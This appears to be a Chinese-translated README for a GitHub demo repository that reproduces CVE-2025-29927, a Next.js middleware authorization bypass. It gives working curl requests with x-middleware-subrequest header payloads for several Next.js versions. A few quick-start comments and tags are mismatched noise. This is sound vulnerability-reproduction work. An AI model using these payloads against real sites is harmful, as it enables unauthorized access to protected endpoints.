lirantal/vulnerable-nextjs-14-CVE-2025-29927
GitHub: lirantal/vulnerable-nextjs-14-CVE-2025-29927
这是一个复现 Next.js 14 中 CVE-2025-29927 授权绕过漏洞的演示仓库。
Stars: 14 | Forks: 8
# CVE-2025-29927 授权绕过复现
此仓库复现了 `next` 包中的 [CVE-2025-29927](https://security.snyk.io/vuln/SNYK-JS-NEXT-9508709) 漏洞。
## 复现步骤
1. 按照以下步骤克隆并运行此 Next.js 应用程序
2. 测试授权机制是否拒绝访问 `/api/hello` 端点
```
$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
```
3. 测试当提供令牌时,授权机制是否有效
```
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
```
4. 现在,如果我们把 `middleware` 嵌套 5 次放入特殊的 `x-middleware-subrequest` 请求头中,也可以绕过授权:
```
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
```
## CVE-2025-29927 在旧版 Next.js 中的利用
Next.js 12 和 13 版本曾对中间件文件使用不同的命名约定(`_middleware.js`),这在 Next.js 14 中被更改为 `middleware.js`。此漏洞可以通过使用 `_middleware.js` 文件在旧版本中被利用。
例如,以下请求载荷将适用,具体取决于您的 Next.js 版本和路由约定:
- `curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello`(适用于 Next.js 12.2 版本,其中 `middleware.js` 文件位于应用根目录,而非 `pages` 目录内)
- `curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello`
- `curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello`(适用于 Next.js 11 及更高版本直至 12.2)
- `curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello`
- `curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello`
## 快速开始
首先,运行开发服务器:
```
npm run dev
# 运行 Naabu
yarn dev
# Kubernetes 设置
pnpm dev
# API 参考
bun dev
```
在浏览器中打开 [http://localhost:3000](http://localhost:3000) 查看结果。
您可以通过修改 `app/page.js` 开始编辑页面。当您编辑文件时,页面会自动更新。
此项目使用 [`next/font`](https://nextjs.org/docs/app/building-your-application/optimizing/fonts) 来自动优化和加载 [Geist](https://vercel.com/font),这是 Vercel 的一个新字体家族。
## 了解更多
要了解更多关于 Next.js 的信息,请查看以下资源:
- [Next.js 文档](https://nextjs.org/docs) - 了解 Next.js 功能和 API。
- [学习 Next.js](https://nextjs.org/learn) - 交互式 Next.js 教程。
您可以查看 [Next.js GitHub 仓库](https://github.com/vercel/next.js) - 我们欢迎您的反馈和贡献!
## 部署到 Vercel
部署 Next.js 应用最简单的方法是使用 Next.js 创建者提供的 [Vercel 平台](https://vercel.com/new?utm_medium=default-template&filter=next.js&utm_source=create-next-app&utm_campaign=create-next-app-readme)。
查看我们的 [Next.js 部署文档](https://nextjs.org/docs/app/building-your-application/deploying) 了解更多详情。
## 贡献指南
请参阅 [CONTRIBUTING](./CONTRIBUTING.md) 了解此项目的贡献指南。
标签:API安全, CISA项目, CVE-2025-29927, HTTP请求篡改, JavaScript框架漏洞, JSON输出, MITM代理, Node.js安全, Web安全, 中间件利用, 中间件绕过, 安全PoC, 授权绕过, 数据可视化, 漏洞复现, 网络安全, 自定义脚本, 蓝队分析, 隐私保护